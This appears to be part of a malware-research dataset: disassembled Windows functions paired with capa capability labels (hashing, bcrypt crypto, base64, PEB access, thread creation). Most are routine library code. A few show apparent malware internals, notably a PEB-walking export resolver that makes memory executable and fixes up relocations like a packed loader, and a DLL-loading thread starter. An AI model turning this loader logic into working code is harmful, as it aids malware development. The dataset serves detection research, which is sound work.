joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140036120
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x20], rsi
mov qword [rsp + 8], rcx
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
mov rbx, r8
mov rsi, rdx
mov r15, rcx
mov r13, qword [r8 + 0x10]
cmp qword [r8 + 0x18], 0x10
jb 0x140036153
mov r8, qword [r8]
movabs rdx, 0xcbf29ce484222325
xor ecx, ecx
test r13, r13
je 0x140036182
movzx eax, byte [rcx + r8]
xor rdx, rax
movabs r9, 0x100000001b3
imul rdx, r9
inc rcx
cmp rcx, r13
jb 0x140036164
mov r14, qword [r15 + 0x30]
and r14, rdx
mov rdi, qword [r15 + 8]
mov r12, r14
add r12, r12
mov rax, qword [r15 + 0x18]
cmp rdi, qword [rax + r12*8]
je 0x1400361f4
mov rdi, qword [rax + r12*8 + 8]
mov rdi, qword [rdi]
cmp rdi, qword [rax + r12*8]
je 0x1400361f4
mov rdi, qword [rdi + 8]
lea rdx, [rdi + 0x10]
cmp qword [rdi + 0x28], 0x10
jb 0x1400361be
mov rdx, qword [rdi + 0x10]
mov rcx, rbx
cmp qword [rbx + 0x18], 0x10
jb 0x1400361cb
mov rcx, qword [rbx]
cmp r13, qword [rdi + 0x20]
mov rax, qword [r15 + 0x18]
jne 0x1400361a5
mov r8, r13
call sub.api_ms_win_crt_private_l1_1_0.dll_memcmp
test eax, eax
mov rax, qword [r15 + 0x18]
jne 0x1400361a5
mov qword [rsi], rdi
mov byte [rsi + 8], 0
mov rax, rsi
jmp 0x1400362a0
mov r8, rbx
lea rdx, [rsp + 0x70]
mov rcx, r15
call fcn.1400362c0
mov rbx, qword [rsp + 0x70]
mov rax, qword [rbx]
cmp rdi, rax
je 0x14003623e
mov rcx, qword [rbx + 8]
mov qword [rcx], rax
mov rcx, qword [rax + 8]
mov qword [rcx], rdi
mov rcx, qword [rdi + 8]
mov qword [rcx], rbx
mov rdx, qword [rdi + 8]
mov rcx, qword [rax + 8]
mov qword [rdi + 8], rcx
mov rcx, qword [rbx + 8]
mov qword [rax + 8], rcx
mov qword [rbx + 8], rdx
mov rdx, qword [r15 + 0x18]
mov rax, qword [rdx + r12*8]
add r14, r14
cmp rax, qword [r15 + 8]
jne 0x14003625e
mov qword [rdx + r14*8], rbx
mov rax, qword [r15 + 0x18]
mov qword [rax + r14*8 + 8], rbx
jmp 0x14003628d
cmp rax, rdi
jne 0x140036269
mov qword [rdx + r14*8], rbx
jmp 0x14003628d
mov rax, qword [rdx + r14*8 + 8]
mov rcx, qword [rax]
mov qword [rdx + r14*8 + 8], rcx
cmp rcx, rbx
je 0x14003628d
mov rdx, qword [r15 + 0x18]
mov rax, qword [rdx + r12*8 + 8]
mov rcx, qword [rax + 8]
mov qword [rdx + r12*8 + 8], rcx
mov rcx, r15
call fcn.140035ab4
nop
mov qword [rsi], rbx
mov byte [rsi + 8], 1
mov rax, rsi
mov rbx, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x78]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
Function at 0x14003811c
Capabilities:
Encrypt or decrypt data via bcrypt

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x50
mov rbx, qword [rsp + 0x88]
mov rsi, r8
mov rdi, r9
mov r8, rdx
mov r11, rcx
and qword [rbx], 0
mov r10d, dword [rcx]
sub r10d, 1
je 0x14003816a
sub r10d, 1
je 0x140038163
cmp r10d, 1
je 0x14003815c
xor edx, edx
jmp 0x14003816f
mov edx, 8
jmp 0x14003816f
mov edx, 4
jmp 0x14003816f
mov edx, 2
mov ecx, dword [rcx]
call fcn.1400376cc
mov rcx, qword [r11 + 8]
mov r9, rax
mov rax, qword [rsp + 0x80]
mov dword [rsp + 0x48], edx
mov rdx, rsi
mov qword [rsp + 0x40], rbx
mov dword [rsp + 0x38], edi
mov qword [rsp + 0x30], rax
and dword [rsp + 0x28], 0
and qword [rsp + 0x20], 0
call qword [sym.imp.bcrypt.dll_BCryptEncrypt]
nop dword [rax + rax]
test eax, eax
jns 0x1400381d0
mov rcx, qword [rsp + 0x58]
lea r8, str.onecoreds_security_ngcctnrsvcisocontainerlib_softwarekey.cpp
mov r9d, eax
mov edx, 0x1e8
call fcn.140022ba8
jmp 0x1400381d2
xor eax, eax
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
add rsp, 0x50
pop rdi
ret

Function at 0x1400381ec
Capabilities:
Encrypt or decrypt data via bcrypt

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x50
mov rbx, qword [rsp + 0x88]
mov rsi, r8
mov rdi, r9
mov r8, rdx
mov r11, rcx
and qword [rbx], 0
mov r10d, dword [rcx]
sub r10d, 1
je 0x14003823a
sub r10d, 1
je 0x140038233
cmp r10d, 1
je 0x14003822c
xor edx, edx
jmp 0x14003823f
mov edx, 8
jmp 0x14003823f
mov edx, 4
jmp 0x14003823f
mov edx, 2
mov ecx, dword [rcx]
call fcn.1400376cc
mov rcx, qword [r11 + 8]
mov r9, rax
mov rax, qword [rsp + 0x80]
mov dword [rsp + 0x48], edx
mov rdx, rsi
mov qword [rsp + 0x40], rbx
mov dword [rsp + 0x38], edi
mov qword [rsp + 0x30], rax
and dword [rsp + 0x28], 0
and qword [rsp + 0x20], 0
call qword [sym.imp.bcrypt.dll_BCryptDecrypt]
nop dword [rax + rax]
test eax, eax
jns 0x1400382a0
mov rcx, qword [rsp + 0x58]
lea r8, str.onecoreds_security_ngcctnrsvcisocontainerlib_softwarekey.cpp
mov r9d, eax
mov edx, 0x201
call fcn.140022ba8
jmp 0x1400382a2
xor eax, eax
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
add rsp, 0x50
pop rdi
ret

Function at 0x140038978
Capabilities:
Encrypt or decrypt data via bcrypt

Disassembly:
mov r11, rsp
sub rsp, 0x58
mov rax, qword [rsp + 0x88]
mov r10, r8
mov dword [rsp + 0x48], 1
mov r8d, edx
mov qword [r11 - 0x18], rax
mov rdx, r10
mov dword [r11 - 0x20], r9d
xor r9d, r9d
and qword [rax], 0
mov rax, qword [rsp + 0x80]
mov rcx, qword [rcx + 8]
mov qword [r11 - 0x28], rax
and dword [rsp + 0x28], 0
and qword [r11 - 0x38], 0
call qword [sym.imp.bcrypt.dll_BCryptEncrypt]
nop dword [rax + rax]
test eax, eax
jns 0x1400389ee
mov rcx, qword [rsp + 0x58]
lea r8, str.onecoreds_security_ngcctnrsvcisocontainerlib_softwarekey.cpp
mov r9d, eax
mov edx, 0x2a4
add rsp, 0x58
jmp fcn.140022ba8
xor eax, eax
add rsp, 0x58
ret
Function at 0x1400389fc
Capabilities:
Encrypt or decrypt data via bcrypt

Disassembly:
mov r11, rsp
sub rsp, 0x58
mov rax, qword [rsp + 0x88]
mov r10, r8
mov dword [rsp + 0x48], 1
mov r8d, edx
mov qword [r11 - 0x18], rax
mov rdx, r10
mov dword [r11 - 0x20], r9d
xor r9d, r9d
and qword [rax], 0
mov rax, qword [rsp + 0x80]
mov rcx, qword [rcx + 8]
mov qword [r11 - 0x28], rax
and dword [rsp + 0x28], 0
and qword [r11 - 0x38], 0
call qword [sym.imp.bcrypt.dll_BCryptDecrypt]
nop dword [rax + rax]
test eax, eax
jns 0x140038a72
mov rcx, qword [rsp + 0x58]
lea r8, str.onecoreds_security_ngcctnrsvcisocontainerlib_softwarekey.cpp
mov r9d, eax
mov edx, 0x2bd
add rsp, 0x58
jmp fcn.140022ba8
xor eax, eax
add rsp, 0x58
ret

Function at 0x140038a80
Capabilities:
Generate random numbers via winapi

Disassembly:
sub rsp, 0x28
mov r8d, ecx
mov r9d, 2
xor ecx, ecx
call qword [sym.imp.bcrypt.dll_BCryptGenRandom]
nop dword [rax + rax]
test eax, eax
jns 0x140038abc
mov rcx, qword [rsp + 0x28]
lea r8, str.onecoreds_security_ngcctnrsvcisocontainerlib_softwarekey.cpp
mov r9d, eax
mov edx, 0x2cb
add rsp, 0x28
jmp fcn.140022ba8
xor eax, eax
add rsp, 0x28
ret
Function at 0x14003e4bc
Capabilities:
Hash data via bcrypt

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
push rdi
sub rsp, 0x50
and dword [rax - 0x28], 0
mov rdi, r9
and dword [rax - 0x30], 0
xor r9d, r9d
and qword [rax - 0x18], 0
mov rsi, r8
and qword [rax - 0x38], 0
mov rbx, rdx
mov rbp, rcx
lea rdx, [rax - 0x18]
lea ecx, [r9 + 0x41]
xor r8d, r8d
call qword [sym.imp.bcrypt.dll_BCryptCreateHash]
nop dword [rax + rax]
test eax, eax
jns 0x14003e513
mov edx, 0x22
jmp 0x14003e58b
test rbx, rbx
je 0x14003e53d
mov rcx, qword [rsp + 0x40]
xor r9d, r9d
mov r8d, ebx
mov rdx, rbp
call qword [sym.imp.bcrypt.dll_BCryptHashData]
nop dword [rax + rax]
test eax, eax
jns 0x14003e53d
mov edx, 0x2a
jmp 0x14003e58b
mov rcx, qword [rsp + 0x40]
xor r9d, r9d
mov r8d, edi
mov rdx, rsi
call qword [sym.imp.bcrypt.dll_BCryptHashData]
nop dword [rax + rax]
test eax, eax
jns 0x14003e562
mov edx, 0x30
jmp 0x14003e58b
mov rdx, qword [rsp + 0x80]
xor r9d, r9d
mov rcx, qword [rsp + 0x40]
lea r8d, [r9 + 0x20]
call qword [sym.imp.bcrypt.dll_BCryptFinishHash]
nop dword [rax + rax]
test eax, eax
jns 0x14003e5a3
mov edx, 0x36
mov rcx, qword [rsp + 0x58]
lea r8, str.onecoreds_security_trustletutils_vtl1lib_signeddata.cpp
mov r9d, eax
call fcn.140022ba8
mov ebx, eax
jmp 0x14003e5a5
xor ebx, ebx
mov rcx, qword [rsp + 0x40]
test rcx, rcx
je 0x14003e5bb
call qword [sym.imp.bcrypt.dll_BCryptDestroyHash]
nop dword [rax + rax]
mov rbp, qword [rsp + 0x68]
mov eax, ebx
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x70]
add rsp, 0x50
pop rdi
ret
Function at 0x140041bf4
Capabilities:
Encode data using base64

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
lea r10d, [rdx + 2]
mov r11d, edx
mov eax, 0xaaaaaaab
mov rbx, r8
mul r10d
mov rax, qword [rsp + 0x30]
mov rdi, rcx
shr edx, 1
lea edx, [rdx*4 + 1]
test rax, rax
je 0x140041c33
mov dword [rax], edx
test r9d, r9d
jne 0x140041c41
test rbx, rbx
je 0x140041d39
cmp r9d, edx
jae 0x140041c50
mov eax, 0x8007000e
jmp 0x140041d3b
xor r10d, r10d
xor r9d, r9d
test r11d, r11d
je 0x140041d06
lea r12, str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_
movzx ebp, byte [r9 + rdi]
inc r9d
cmp r9d, r11d
jae 0x140041c7f
lfence
mov dl, byte [r9 + rdi]
inc r9d
jmp 0x140041c81
xor dl, dl
cmp r9d, r11d
jae 0x140041c92
lfence
mov sil, byte [r9 + rdi]
inc r9d
jmp 0x140041c95
xor sil, sil
movzx r8d, dl
mov rax, rbp
shr rax, 2
mov rdx, rbp
and edx, 3
shl rdx, 4
mov al, byte [rax + r12]
mov byte [r10 + rbx], al
inc r10d
mov eax, r8d
and r8d, 0xf
shr rax, 4
or rdx, rax
shl r8d, 2
mov ecx, r8d
mov al, byte [rdx + r12]
mov byte [r10 + rbx], al
inc r10d
movzx eax, sil
shr rax, 6
or rcx, rax
mov cl, byte [rcx + r12]
mov byte [r10 + rbx], cl
inc r10d
movzx ecx, sil
and ecx, 0x3f
mov cl, byte [rcx + r12]
mov byte [r10 + rbx], cl
inc r10d
cmp r9d, r11d
jb 0x140041c66
mov eax, 0xaaaaaaab
mul r11d
shr edx, 1
lea eax, [rdx + rdx*2]
sub r11d, eax
sub r11d, 1
je 0x140041d24
cmp r11d, 1
je 0x140041d2c
jmp 0x140041d34
lea eax, [r10 - 2]
mov byte [rax + rbx], 0x3d
lea eax, [r10 - 1]
mov byte [rax + rbx], 0x3d
mov byte [r10 + rbx], 0
xor eax, eax
mov rbx, qword [rsp + 0x10]
mov rbp, qword [rsp + 0x18]
mov rsi, qword [rsp + 0x20]
mov rdi, qword [rsp + 0x28]
pop r12
ret

Function at 0x14004a560
Capabilities:
Hash data via bcrypt

Disassembly:
push rbx
sub rsp, 0x30
mov rax, qword [0x14006c8a8]
xor rax, rsp
mov qword [rsp + 0x28], rax
xor ebx, ebx
mov qword [rsp + 0x20], rbx
test rcx, rcx
je 0x14004a60f
test r8, r8
je 0x14004a60f
mov al, byte [r8 + 3]
lea rdx, [rsp + 0x20]
mov byte [rsp + 0x20], al
xor r9d, r9d
mov al, byte [r8 + 2]
mov byte [rsp + 0x21], al
mov al, byte [r8 + 1]
mov byte [rsp + 0x22], al
mov al, byte [r8]
lea r8d, [rbx + 4]
mov byte [rsp + 0x23], al
call qword [sym.imp.bcrypt.dll_BCryptHashData]
nop dword [rax + rax]
mov ecx, eax
test eax, eax
je 0x14004a60b
and eax, 0xffff000
cmp eax, 0x290000
jne 0x14004a5e5
and ecx, 0xfff
or ecx, 0x80280000
jmp 0x14004a609
mov eax, ecx
and eax, 0xfff0000
cmp eax, 0x70000
jne 0x14004a605
movzx ecx, cx
mov ebx, ecx
or ebx, 0x80070000
test ecx, ecx
cmove ebx, ecx
jmp 0x14004a60b
bts ecx, 0x1c
mov ebx, ecx
mov eax, ebx
jmp 0x14004a614
mov eax, 0x80070057
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.14004cea0
add rsp, 0x30
pop rbx
ret
Function at 0x14004a630
Capabilities:
Hash data via bcrypt

Disassembly:
push rbx
sub rsp, 0x20
xor ebx, ebx
mov rax, r8
cmp qword [rcx], rbx
je 0x14004a6ab
test rax, rax
je 0x14004a6ab
test edx, edx
je 0x14004a6ab
mov rcx, qword [rcx]
mov r8d, edx
mov rdx, rax
xor r9d, r9d
call qword [sym.imp.bcrypt.dll_BCryptHashData]
nop dword [rax + rax]
mov ecx, eax
test eax, eax
je 0x14004a6a7
and eax, 0xffff000
cmp eax, 0x290000
jne 0x14004a681
and ecx, 0xfff
or ecx, 0x80280000
jmp 0x14004a6a5
mov eax, ecx
and eax, 0xfff0000
cmp eax, 0x70000
jne 0x14004a6a1
movzx ecx, cx
mov ebx, ecx
or ebx, 0x80070000
test ecx, ecx
cmove ebx, ecx
jmp 0x14004a6a7
bts ecx, 0x1c
mov ebx, ecx
mov eax, ebx
jmp 0x14004a6b0
mov eax, 0x80070057
add rsp, 0x20
pop rbx
ret

Function at 0x14004ce70
Capabilities:
Access peb ldr_data

Disassembly:
push r12
push r14
push r15
sub r12, r12
add r12, 0x60
mov r14, qword gs:[r12]
push r11
mov r11, qword [r14 + 0x10]
add r14, 0x18
mov r15, qword [r14]
mov r12, r15
add r12, 0x10
mov r14, qword [r12]
push rax
mov r12, qword [r14 + 0x30]
cmp r12, 0
cmp esp, 0
je 0x14004ceca
mov r15, qword [r14 + 0x60]
mov rax, qword [r15]
and eax, 0xdf00df
mov r15, qword [r15 + 0xb]
add r15d, eax
shr r15d, 2
sub r15d, 0xc914cd2
cmp r15, 0
je 0x14004ced2
mov r14, qword [r14]
jmp 0x14004ce9b
mov r14d, dword [r12 + 0x3c]
add r14, r12
add r14, 0x10
mov r15d, dword [r14 + 0x78]
add r15, r12
push r10
mov eax, dword [r15 + 0x20]
add rax, r12
mov r10d, dword [rax]
add r10, r12
mov r14d, dword [r10 + 0xb]
sub r14d, 0x746365
cmp r14d, 0
jne 0x14004cf07
jmp 0x14004cf15
inc rax
inc rax
inc rax
inc rax
jmp 0x14004ceee
mov r14d, dword [r15 + 0x20]
sub rax, r14
sub rax, r12
shr eax, 1
mov r14d, dword [r15 + 0x24]
add r14, rax
add r14, r12
mov eax, dword [r14]
mov r14d, dword [r15 + 0x1c]
shl eax, 0x10
shr eax, 0xe
add r14, r12
add r14, rax
mov eax, dword [r14]
add rax, r12
mov r14d, 0xd9000
add r14, r11
push r12
push r11
push r14
push r10
push r10
push rax
mov rcx, r14
mov r9, rsp
mov r8d, 0x40
mov edx, 0x55000
call rax
pop r15
pop r10
pop r10
pop r14
pop r11
mov r12d, 0x7761
push rax
movabs r15, 0x3ae00
mov eax, 0xf
imul r12, rax
movabs rax, 0x6162
add rax, r11
add r12, rax
call fcn.14004cfcc
mov r12d, 0xb1e11
movabs r14, 0x119000
add r12, r11
mov r15d, 0x3b30
add r14, r11
call fcn.14004cfcc
pop rax
jmp 0x14004cff2
nop
ret
mov r12d, 0x8000000
mov r15d, 0x42a
movabs r14, 0xd9000
mov eax, 3
imul r15d, eax
add r15d, 0x382
add r14, r11
sub r14, r15
mov r15, r14
sub r15, r12
mov r12d, 0xb6a11
add r12, r11
mov eax, dword [r12]
xor eax, 0x93832b94
dec eax
cmp eax, 0
je 0x14004d04f
add rax, r14
mov r10, qword [rax]
add r10, r15
mov qword [rax], r10
add r12, 4
jmp 0x14004d02d
sub rsp, 0x28
movabs r14, 0x5b47
mov r12d, 0x624e
add r12, 0xf0ff7
add r12, r14
add r12, r11
push r12
dec r10
lea r15d, [eax]
jmp 0x14004cff0
invalid
Function at 0x401000
Capabilities:
Create thread
Get common file path

Disassembly:
push rbp
mov rbp, rsp
cmp byte [0x007922a2], 0
jne 0x401146
sub rsp, 0x20
movabs rcx, section.MrFi
mov rdx, 0xff
call qword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
add rsp, 0x20
lea rbx, [section.MrFi]
add rax, rbx
mov dword [rax], 0x7277645c
mov dword [rax + 4], 0x2e657469
mov dword [rax + 8], 0x6c6c64
sub rsp, 0x20
movabs rcx, section.MrFi
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
add rsp, 0x20
mov qword [0x00792292], rax
sub rsp, 0x20
mov rcx, qword [0x00792292]
movabs rdx, 0x7925e5
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
add rsp, 0x20
mov qword [0x00792272], rax
sub rsp, 0x20
mov rcx, 0
movabs rdx, 0x7924c3
mov r8, 0xff
call qword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
add rsp, 0x20
sub rsp, 0x20
movabs rcx, 0x7924c3
call qword [sym.imp.USER32.DLL_CharLowerA]
add rsp, 0x20
sub rsp, 0x20
movabs rcx, 0x7924c3
call qword [sym.imp.Shlwapi.dll_PathFindFileNameA]
add rsp, 0x20
sub rsp, 0x30
mov rcx, 0
mov rdx, 0
movabs r8, 0x40114f
mov r9, 0
mov qword [rsp + 0x20], 0x20
movabs rax, 0x79227a
mov qword [rsp + 0x28], rax
call qword [sym.imp.KERNEL32.DLL_CreateThread]
add rsp, 0x30
sub rsp, 0x20
mov rcx, rax
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
add rsp, 0x20
mov byte [0x007922a2], 1
mov rax, 1
leave
ret
Function at 0x14000b9ac
Capabilities:
Terminate process

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
call qword [sym.imp.api_ms_win_core_debug_l1_1_0.dll_IsDebuggerPresent]
mov ecx, 1
mov dword [0x140016950], eax
call fcn.14000b730
xor ecx, ecx
call qword [sym.imp.api_ms_win_core_errorhandling_l1_1_0.dll_SetUnhandledExceptionFilter]
mov rcx, rbx
call qword [sym.imp.api_ms_win_core_errorhandling_l1_1_0.dll_UnhandledExceptionFilter]
cmp dword [0x140016950], 0
jne case.default.0x14000ba02
mov ecx, 1
call fcn.14000b730
call qword [sym.imp.api_ms_win_core_processthreads_l1_1_0.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0xc0000409
add rsp, 0x20
pop rbx
jmp qword [sym.imp.api_ms_win_core_processthreads_l1_1_0.dll_TerminateProcess]
test dword [rbx + 0x21ebebb7], edx
movabs eax, dword [0x241d2d3d3a4d7ae3]
invalid
Function at 0x1800069d0
Capabilities:
Generate random numbers via winapi

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x40
mov rax, qword [0x180064040]
xor rax, rsp
mov qword [rsp + 0x38], rax
lea rcx, [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_GetSystemTime]
xor esi, esi
mov edi, esi
nop dword [rax]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_GetSystemTime]
mov ebx, esi
nop dword [rax + rax]
lea r8, [rsp + 0x20]
mov dword [rsp + 0x20], esi
mov edx, 4
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_CryptGenRandom]
test eax, eax
jne 0x180006a4a
inc ebx
cmp ebx, 0xa
jl 0x180006a20
inc edi
cmp edi, 0xa
jl 0x180006a00
jmp 0x180006a4e
mov eax, dword [rsp + 0x20]
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.180024300
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
add rsp, 0x40
pop rdi
ret
Function at 0x1800071e0
Capabilities:
Accept command line arguments
Terminate process

Disassembly:
push rbx
sub rsp, 0x30
mov rax, qword [0x180064040]
xor rax, rsp
mov qword [rsp + 0x28], rax
cmp edx, 1
jne 0x1800072d7
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov word [rsp + 0x20], 0x8348
lea r8, [rsp + 0x20]
mov byte [rsp + 0x22], 0xec
movsxd rcx, dword [rax + 0x3c]
mov edx, dword [rcx + rax + 0x28]
mov ecx, 2
add rdx, rax
movzx eax, byte [r8]
cmp byte [rdx], al
jne 0x18000723a
inc rdx
inc r8
sub ecx, 1
jne 0x180007227
movzx ecx, byte [rdx]
movzx eax, byte [r8]
cmp ecx, eax
je 0x18000724e
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
call qword [sym.imp.KERNEL32.dll_FreeConsole]
call fcn.180005600
mov dword [rsp + 0x24], 0
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov rcx, rax
lea rdx, [rsp + 0x24]
call qword [sym.imp.SHELL32.dll_CommandLineToArgvW]
cmp dword [rsp + 0x24], 1
mov rbx, rax
jne 0x180007294
xor edx, edx
lea rcx, str._n_5_10.10.10.10
call qword [sym.imp.KERNEL32.dll_RegisterApplicationRestart]
test eax, eax
je 0x1800072f7
jmp 0x1800072ef
mov rax, qword [rax + 8]
cmp word [rax], 0x2d
jne 0x1800072c9
cmp word [rax + 2], 0x6e
jne 0x1800072c9
cmp word [rax + 4], 0
jne 0x1800072c9
mov rax, qword [rbx + 0x10]
cmp word [rax], 0x35
jne 0x1800072c9
cmp word [rax + 2], 0
jne 0x1800072c9
lea rcx, str.New_parent__r_n
call fcn.180002480
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LocalFree]
call fcn.180006bb0
mov eax, 1
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.180024300
add rsp, 0x30
pop rbx
ret
mov ecx, eax
call fcn.180035908
int3
mov ecx, 0xf230
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.18002d620
int3
Function at 0x180026970
Capabilities:
Read file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x20
mov rbp, r8
mov r14, rdx
mov rdi, rcx
test r8, r8
jg 0x18002699e
xor eax, eax
jmp 0x180026a84
cmp qword [rcx + 0x68], 0
je 0x1800269af
call fcn.180026aa0
jmp 0x180026a84
mov rax, qword [rcx + 0x38]
mov rsi, rbp
mov rdx, qword [rax]
test rdx, rdx
je 0x1800269c6
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x1800269c8
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x1800269fa
cmp rax, rbp
mov rbx, rbp
mov rcx, r14
cmovb rbx, rax
mov r8, rbx
call fcn.18004b580
mov rax, qword [rdi + 0x50]
add r14, rbx
sub rsi, rbx
sub dword [rax], ebx
mov rcx, qword [rdi + 0x38]
movsxd rax, ebx
add qword [rcx], rax
cmp qword [rdi + 0x80], 0
je 0x180026a7e
mov r8, qword [rdi + 0x18]
lea rax, [rdi + 0x70]
cmp qword [r8], rax
jne 0x180026a31
mov rcx, qword [rdi + 0x88]
mov rdx, qword [rdi + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rdi + 0x38]
mov qword [rax], rcx
mov rax, qword [rdi + 0x50]
mov dword [rax], edx
mov ebx, 0xfff
jmp 0x180026a5a
mov r9, qword [rdi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, r14
call fcn.1800377e8
add r14, rax
sub rsi, rax
cmp rax, rbx
jne 0x180026a7e
cmp rsi, rbx
ja 0x180026a38
test rsi, rsi
je 0x180026a7e
mov r9, qword [rdi + 0x80]
mov r8, rsi
mov edx, 1
mov rcx, r14
call fcn.1800377e8
sub rsi, rax
sub rbp, rsi
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
Function at 0x1800401b8
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x1800401e8
xor eax, eax
jmp 0x1800402ab
mov rbp, rbx
cmp word [rax], si
je 0x18004020d
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x1800401f4
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x1800401f0
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.1800400d8
movsxd r14, eax
test eax, eax
jne 0x18004024b
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x1800401e1
mov rcx, r14
call fcn.18003ca4c
mov rdi, rax
test rax, rax
jne 0x180040264
xor ecx, ecx
call fcn.180039b48
jmp 0x180040240
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.1800400d8
test eax, eax
jne 0x180040295
mov rcx, rdi
call fcn.180039b48
jmp 0x18004029f
xor ecx, ecx
call fcn.180039b48
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x180041940
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x1050
call fcn.18004ad00
sub rsp, rax
mov rax, qword [0x180064040]
xor rax, rsp
mov qword [rsp + 0x1040], rax
mov r15, r8
mov rbp, rdx
mov rbx, rcx
call fcn.18003dbd0
xor edi, edi
movsxd r14, eax
cmp dword [rbx + 0x10], edi
jne 0x18004198f
mov rax, rbp
jmp 0x180041a97
mov rax, qword [rbx]
mov rcx, r14
sub rax, qword [rbx + 8]
and ecx, 0x3f
cqo
mov rbx, r14
sub rax, rdx
sar rbx, 6
sar rax, 1
mov r9, r15
lea r12, [rcx + rcx*8]
mov rsi, rax
lea rax, [0x180000000]
xor r8d, r8d
mov rdx, qword [rax + rbx*8 + 0x668f0]
mov ecx, r14d
mov rdx, qword [rdx + r12*8 + 0x30]
call fcn.180042a60
mov r13, rax
lea rax, [0x180000000]
mov rcx, qword [rax + rbx*8 + 0x668f0]
cmp r13, qword [rcx + r12*8 + 0x30]
jne 0x180041a93
mov rcx, qword [rcx + r12*8 + 0x28]
lea r9, [rsp + 0x30]
mov r8d, 0x1000
mov qword [rsp + 0x20], rdi
lea rdx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x180041a93
mov r9, r15
xor r8d, r8d
mov rdx, rbp
mov ecx, r14d
call fcn.180042a60
test rax, rax
js 0x180041a93
mov eax, dword [rsp + 0x30]
cmp rsi, rax
jg 0x180041a93
lea rdx, [rsp + 0x40]
add rdx, rax
lea rcx, [rsp + 0x40]
test rsi, rsi
je 0x180041a85
lea r8, [0x180000000]
cmp rcx, rdx
jae 0x180041a85
cmp byte [rcx], 0xd
jne 0x180041a6b
lea rax, [rdx - 1]
cmp rcx, rax
jae 0x180041a7a
cmp byte [rcx + 1], 0xa
jne 0x180041a7a
inc rcx
jmp 0x180041a7a
movzx eax, byte [rcx]
movsx rax, byte [rax + r8 + 0x649d0]
add rcx, rax
inc rdi
inc rcx
cmp rdi, rsi
jne 0x180041a4d
lea rax, [rsp + 0x40]
sub rcx, rax
lea rax, [rcx + r13]
